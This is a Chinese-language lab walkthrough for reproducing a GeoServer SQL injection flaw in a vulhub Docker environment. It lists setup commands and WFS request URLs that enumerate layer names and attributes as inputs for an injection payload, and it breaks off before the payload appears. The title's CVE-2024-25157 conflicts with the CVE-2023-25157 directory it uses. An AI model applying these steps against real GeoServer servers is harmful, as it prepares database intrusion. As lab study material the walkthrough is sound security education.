GeoServer SQL 注入漏洞复现（CVE-2024-25157）附poc_geoserverl漏洞(2)

cd vulhub-master/
cd geoserver/
cd CVE-2023-25157
docker-compose up -d
docker-compose ps

1.访问http://yourip:8080/geoserver进入首页

2.获取每个功能名称

在进行注入之前，首先要获取地理图层列表信息，这是sql注入payload中的一个必要参数

访问以下url获取：
http://192.168.43.161:8080/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities

<Name>标签中的信息，就是地理图层列表。这里选择vulhub:example作为地理图层列表信息

3.获取功能的属性

将上一步获取的typeName的name属性值拼接到url中，构成url如下：
http://192.168.43.161:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&maxFeatures=1&outputFormat=json

4.构造SQL 注入
Feature type (table) name: vulhub:example
One of attribute from feature type: name
利用这些已知参数，拼接成payload:
http://192.168.43.161:8080/geose